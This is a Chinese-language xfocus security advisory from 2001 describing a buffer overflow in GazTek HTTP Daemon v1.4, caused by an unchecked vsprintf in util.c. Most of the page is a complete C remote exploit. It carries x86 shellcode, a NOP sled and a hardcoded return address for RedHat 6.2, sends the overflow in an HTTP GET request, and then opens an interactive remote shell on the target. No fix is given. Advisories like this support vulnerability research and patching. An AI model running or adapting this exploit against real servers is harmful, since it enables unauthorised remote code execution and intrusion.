xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

GazTek HTTP 存在缓冲溢出漏洞


发布时间:2001-06-18
更新时间:2001-06-18
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Any system running GazTek HTTP Daemon v1.4 (ghttpd)
详细描述
ghttpd是一个小型易安装的HTTP服务程序,支持CGI,是Gareth Owen <gaz@athene.co.uk>,
http://members.xoom.com/gaztek. 所写,远程攻击者可以覆盖缓冲区,并可以
以ghttpd的权利运行。问题存在于util.c的219行:

    va_start(ap, format); // format it all into temp
        vsprintf(temp, format, ap);
        va_end(ap);

测试代码
/*
* GazTek HTTP Daemon v1.4 (ghttpd) Linux x86 remote exploit
* by qitest1 - 17/06/2001
*
* Root privileges are dropped out by the daemon, so a shell owned by
* nobody will be executed.
*
* 0x69.. =)
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define RETPOS         161

struct targ
{
   int                  def;
   char                 *descr;
   unsigned long int    retaddr;
};

struct targ target[]=
    {                  
      {0, "RedHat 6.2 with GazTek HTTP Daemon v1.4 (ghttpd) from tar.gz", 0xbfffba47},        
      {69, NULL, 0}                
    };

  /* Just the dear old Aleph1's shellcode. This is the only shellcode
   * that seemed to work with this vulnerability. All the other ones
   * made the daemon crashing too early and zapping out connection,
   * shell and all their friends.  
   */
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char            mybuf[RETPOS + 4];

int             sockami(char *host, int port);
void        do_mybuf(unsigned long retaddr);
void        shellami(int sock);
void        usage(char *progname);

main(int argc, char **argv)
{
int     sel = 0,
        offset = 0,
        sock,
        cnt;
char    *host = NULL,
    sbuf[1024];

  printf("\n  GazTek HTTP Daemon v1.4 (ghttpd) exploit by qitest1\n\n");
  
  if(argc == 1)
        usage(argv[0]);
  while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
     host = strdup(optarg);
     break;
   case 't':
     sel = atoi(optarg);      
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }
  if(host == NULL)
        usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  printf("+Connecting to %s...\n", host);
  sock = sockami(host, 80);
  printf("  connected\n");

  target[sel].retaddr += offset;
  printf("+Building buffer with retaddr: %p...\n", target[sel].retaddr);
  do_mybuf(target[sel].retaddr);
  printf("  done\n");

  sprintf(sbuf, "GET /%s\n\n", mybuf);
  send(sock, sbuf, strlen(sbuf), 0);
  printf("+Overflowing...\n");

  printf("+Zzing...\n");
  sleep(2);
  printf("+Getting shell...\n");
  shellami(sock);  
}


int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock == -1)
        {
          perror("socket()");
          exit(-1);
        }

  hp = gethostbyname(host);
  if(hp == NULL)
        {
          perror("gethostbyname()");
          exit(-1);
        }

  memset(&address, 0, sizeof(address));
  memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons(port);

  if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
        {
          perror("connect()");
          exit(-1);
        }

  return(sock);
}


void
do_mybuf(unsigned long retaddr)
{
int        i,
        n = 0;
unsigned long     *ret;

  memset(mybuf, 0x90, sizeof(mybuf));
  for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
    mybuf[i] = shellcode[n++];
  ret = (unsigned long *)(mybuf + RETPOS);
  *ret = retaddr;
  mybuf[RETPOS + 4] = '\x00';
}

void
shellami(int sock)
{
int             n;
char            recvbuf[1024];
char            *cmd = "id; uname -a\n";
fd_set          rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(sock+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(sock,&rset))
        {
          n=read(sock,recvbuf,1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n]=0;
          printf("%s",recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO,&rset))
        {
          n=read(STDIN_FILENO,recvbuf,1024);
          if (n>0)
            {
              recvbuf[n]=0;
              write(sock,recvbuf,n);
            }
        }
    }
  return;
}

void
usage(char *progname)
{
int             i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
         "  -h hostname\n"
         "  -t target\n"
         "  -o offset\n"
         "Available targets:\n");
  while(target[i].def != 69)
        {
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
        }

  exit(1);
}

解决方案
尚无

相关信息